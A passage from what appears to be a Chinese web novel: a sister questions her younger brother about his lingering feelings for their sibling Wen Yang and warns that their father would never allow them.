她勾起嘴角,眼神意味深长,“我坐这边,你们不介意吧。”
“不介意,”闻央夹了一块土豆塞进嘴里,好奇地问,“姐姐,你怎么在这里?”
“我昨晚来这边参加活动就近住下了,酒店的健身房太闷了,想着下来跑步,跑着跑着看到了小学时常来的店,倒是有点怀念,你们呢?”
闻央眨眨眼,“是二哥叫我来的。”
她想到闻松凌刚才说了半截的话,转向他,“对了,你刚才要说什么?”
闻松凌的眼睛被帽檐挡住,看不清神色,他摇摇头,不再说话。
闻岚溪很健谈,她和闻央寒暄了好一会,直到碟子里的锅巴土豆空了,闻央才惊觉时间过去许久。
“姐姐,我还有点事,待会先走了,要我送你回酒店吗?”
“没事,我再坐一会,酒店很近的,我待会自己回去。”
闻央点点头,拿起座椅上的挎包。
待她的身影走远,闻岚溪喝了一口柠檬茶,看向闻松凌,语气耐人寻味,“你对闻央还有想法?”
带着鸭舌帽的男人一言不发。
闻岚溪用金属勺子搅拌着里面的柠檬块,淡笑,“父亲不可能同意的。”
“如果被父亲知道,你猜他会怎么做?你心里也有数吧。”
闻松凌捏住杯子的手指发白,心中烦闷。
他这个姐姐真是越来越像父亲了。
闻松凌猛地站起,声音冷得像是猝冰,“我知道了。”